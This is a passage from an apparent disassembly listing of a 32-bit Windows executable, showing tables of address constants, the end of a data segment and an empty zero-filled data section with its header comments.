73521AB4h, 73521ABCh, 73521AC4h, 73521ACCh, 73521AD4h dd 73521ADCh, 73521AE4h, 73521AECh, 73521AF4h, 73521AFCh dd 73521B04h, 73521B0Ch, 73521B14h, 73521B1Ch, 73521B24h dd 73521B2Ch, 73521B34h, 73521B3Ch, 73521B44h, 73521B4Ch dd 73521B54h, 73521B5Ch, 73521B64h, 73521B6Ch, 73521B74h dd 73521B7Ch, 73521B84h, 73521B8Ch, 73521B94h, 73521B9Ch dd 73521BA4h, 73521BACh, 73521BB4h, 73521BBCh, 73521BC4h dd 73521BCCh, 73521BD4h, 73521BDCh, 73521BE4h, 73521BECh dd 73521BF4h, 73521BFCh, 73521C04h, 73521C0Ch, 73521C14h dd 73521C1Ch, 73521C24h, 73521C2Ch, 73521C34h, 73521C3Ch dd 73521C44h, 73521C4Ch, 73521C54h, 73521C5Ch, 73521C64h dd 73521C6Ch, 73521C74h, 73521C7Ch, 73521C84h, 73521C8Ch dd 73521C94h, 73521C9Ch, 73521CA4h, 73521CACh, 73521CB4h dd 73521CBCh, 73521CC4h, 73521CCCh, 73521CD4h, 73521CDCh dd 73521CE4h, 73521CECh, 73521CF4h, 73521CFCh, 73521D04h dd 73521D0Ch, 73521D14h, 73521D1Ch, 73521D24h, 73521D2Ch dd 73521D34h, 73521D3Ch, 73521D44h, 73521D4Ch, 73521D54h dd 73521D5Ch, 73521D64h, 73521D6Ch, 73521D74h, 73521D7Ch dd 73521D84h, 73521D8Ch, 73521D94h, 73521D9Ch, 73521DA4h dd 73521DACh, 73521DB4h, 73521DBCh, 73521DC4h, 73521DCCh dd 73521DD4h, 73521DDCh, 73521DE4h, 73521DECh, 73521DF4h dd 73521DFCh, 73521E04h, 73521E0Ch, 73521E14h, 73521E1Ch dd 73521E24h, 73521E2Ch, 73521E34h, 73521E3Ch, 73521E44h dd 73521E4Ch, 73521E54h, 73521E5Ch, 73521E64h, 73521E6Ch dd 73521E74h, 73521E7Ch, 73521E84h, 73521E8Ch, 73521E94h dd 73521E9Ch, 73521EA4h, 73521EACh, 73521EB4h, 73521EBCh dd 73521EC4h, 73521ECCh, 73521ED4h, 73521EDCh, 73521EE4h dd 73521EECh, 73521EF4h, 73521EFCh, 73521F04h, 73521F0Ch dd 73521F14h, 73521F1Ch, 73521F24h, 73521F2Ch, 73521F34h dd 73521F3Ch, 73521F44h, 73521F4Ch, 73521F54h, 73521F5Ch dd 73521F64h, 73521F6Ch, 73521F74h, 73521F7Ch, 73521F84h dd 73521F8Ch, 73521F94h, 73521F9Ch, 73521FA4h, 73521FACh dd 73521FB4h, 73521FBCh, 73521FC4h, 73521FCCh, 73521FD4h dd 73521FDCh, 73521FE4h, 73521FECh, 73521FF4h, 73521FFCh dd 73522004h, 7352200Ch, 73522014h, 7352201Ch, 73522024h dd 7352202Ch, 73522034h, 7352203Ch, 73522044h, 7352204Ch dd 73522054h, 7352205Ch, 73522064h, 7352206Ch, 73522074h dd 7352207Ch, 73522084h, 7352208Ch, 73522094h, 7352209Ch dd 735220A4h, 735220ACh, 735220B4h, 735220BCh, 735220C4h dd 735220CCh, 735220D4h, 735220DCh, 735220E4h, 735220ECh dd 735220F4h, 735220FCh, 73522104h, 7352210Ch, 73522114h dd 7352211Ch, 73522124h, 7352212Ch, 73522134h, 7352213Ch dd 73522144h, 7352214Ch, 73522154h, 7352215Ch, 73522164h dd 7352216Ch, 73522174h, 7352217Ch, 73522184h, 7352218Ch dd 73522194h, 7352219Ch, 735221A4h, 735221ACh, 735221B4h dd 735221BCh, 735221C4h, 735221CCh, 735221D4h, 735221DCh dd 735221E4h, 735221ECh, 735221F4h, 735221FCh, 73522204h dd 7352220Ch, 73522214h, 7352221Ch, 73522224h, 7352222Ch dd 73522234h, 7352223Ch, 73522244h, 7352224Ch, 73522254h dd 7352225Ch, 73522264h, 7352226Ch, 73522274h, 7352227Ch dd 73522284h, 7352228Ch, 73522294h, 7352229Ch, 735222A4h dd 735222ACh, 735222B4h, 735222BCh, 735222C4h, 735222CCh dd 735222D4h, 735222DCh, 735222E4h, 735222ECh, 735222F4h dd 735222FCh, 73522304h, 7352230Ch, 73522314h, 7352231Ch dd 73522324h, 7352232Ch, 73522334h, 7352233Ch, 73522344h dd 7352234Ch, 73522354h, 7352235Ch, 73522364h, 7352236Ch dd 73522374h, 7352237Ch, 73522384h, 7352238Ch, 73522394h dd 7352239Ch, 735223A4h, 735223ACh, 735223B4h, 735223BCh dd 735223C4h, 735223CCh, 735223D4h, 735223DCh, 735223E4h dd 735223ECh, 735223F4h, 735223FCh, 73522404h, 7352240Ch dd 73522414h, 7352241Ch, 73522424h, 7352242Ch, 73522434h dd 7352243Ch, 73522444h, 7352244Ch, 73522454h, 7352245Ch dd 73522464h, 7352246Ch, 73522474h, 7352247Ch, 73522484h dd 7352248Ch, 73522494h, 7352249Ch, 735224A4h, 735224ACh dd 735224B4h, 735224BCh, 735224C4h, 735224CCh, 735224D4h dd 735224DCh, 735224E4h, 735224ECh, 735224F4h, 735224FCh dd 73522504h, 401A2Fh, 401A43h, 401A57h, 401A6Bh, 401A1Bh dd 401A7Fh align 200h _data ends ; Section 4. (virtual address 0003C000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0003B600 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 43C000h dd 80h dup(0) align 1000h _idata2 ends end start